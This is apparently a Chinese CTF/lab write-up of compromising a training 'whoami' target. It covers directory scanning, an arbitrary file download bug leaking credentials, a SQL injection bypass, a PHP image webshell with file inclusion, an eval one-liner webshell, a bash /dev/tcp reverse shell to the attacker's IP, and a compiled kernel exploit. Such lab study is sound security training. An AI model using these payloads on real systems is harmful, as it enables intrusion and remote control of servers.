测试环境
靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)
攻击机:kali
信息收集
开始时访问网站发现啥信息也没有
获取靶机ip
windows 终端 ping 即可
扫描端口
kali 机使用 nmap -sS + ip
扫描得到靶机开放端口
扫描目录
一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的
后来用 kali 的 dirb + url
扫描,扫到了有一个 www
目录,然后呢用 dirb + url
扫这个目录又扫不出东西了
说是这么说,还是扫到东西了的,最关键的当属phpmy
目录,images
和upload_images
咱都没权限访问
于是又转到御剑,发现文件都藏在这目录下了
开始渗透
首先访问 www
尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。
接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php
分别是照片、空白、空白。而 add.php
是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php
,乍一看没啥,但是查看网页源代码发现
文件下载漏洞
'file' parameter is empty. Please provide file path in 'file' parameter
提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。
给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd
,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:
获取数据库账号密码
由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php
看到了数据库的账号whoami
,密码whoami_hacker
,以及数据库名ica_lab
数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问
看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。
同时发现了flag,但是这个也是错的。
知晓sql注入绕过方式
同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
这边str_replace的作用是将字符串 \ ‘ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ‘ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1– 做出修改,在最后增加 \ ‘,str_replace会将这个\ ‘ 替换为空,所以相当于没加。
登录前端
此刻我们就有两种方法登录了
由于我们在数据库中获取了账号密码,直接登陆即可
第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /'
,也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)
文件上传+包含漏洞getshell
登陆成功进入 panel.php
页面,首先查看show users模块,发现与数据库中的users模块一致
再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代码
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell
其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
随便找一张jpg图片,用010 editor在图片末尾加上
<?php system($_GET['cmd']); ?>
之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images
目录下
来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd
,正文中加入load=uploaded_images/ma.jpg&continue=continue
可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。
换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images
下的webshell.php
要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php
再次访问图片马 cat uplaoded_images/webshell.php
(同样经过url编码)发现确实写入了
之后利用菜刀成功连接
可以在根目录下找到flag(这次是真的flag)
失败的提权
为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)
方法一:ssh登录
由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php
,系统路径结合phpmy
(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息
得到用户名为root
,密码为roottoor
,尝试连接
连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh
和.ssh/authorized_keys
需要保证只有用户自己有权限,否则验证无效)
由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。
方法二:反弹shell
kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash
(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。
kali监听
POST发送反弹shell命令
遗憾的是,kali机并没有反弹会话…
我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…
由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。
方法三:菜刀
在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -a
和cat /etc/issue
可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp
去官网下载exp后将文件导入菜刀
赋予执行权限 chmod 777 37292.c
;编译exp gcc 37292.c -o exp
;执行exp,提权至root
但最后还是失败了…不知道啥原因
麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX